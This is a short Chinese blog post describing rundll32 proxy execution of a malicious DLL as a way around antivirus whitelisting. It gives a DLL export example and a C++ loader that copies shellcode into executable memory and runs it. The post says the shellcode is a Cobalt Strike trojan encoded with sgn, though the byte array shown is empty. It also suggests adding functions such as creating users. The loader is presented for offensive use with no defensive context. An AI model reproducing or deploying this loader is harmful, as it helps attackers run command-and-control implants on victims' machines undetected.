Rundll32加载恶意dll
rundll32加载恶意dll
0x00 原理
rundll32可以加载恶意dll的函数,比如在cmd中rundll32 a.dll fun1
,就会执行a.dll中的fun1函数
一个简单的例子,我们新建一个dll项目,在dllmain.cpp下添加如下代码:
void fun() {
system("calc");
}
再新建source.def文件,用于导出函数,如下:
LIBRARY
EXPORTS
fun
然后直接生成就可以,我们接下来测试
通过这种方式,相当于利用了windows白名单,从而达到一个规避杀软的效果。
0x01 利用代码
这里我们直接拿shellcode加密一下过来执行即可,当然我们也可以定义多个函数,再添加一些其他的小功能,比如说添加用户。
这里我们直接用sgn加密cs生成的木马,然后执行,接下来看效果。
代码如下
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <stdio.h>
#include <stdlib.h>
void fun()
{
unsigned char shellcode[] = {
};
void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof shellcode);
((void(*)())exec)();
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· AI技术革命,工作效率10个最佳AI工具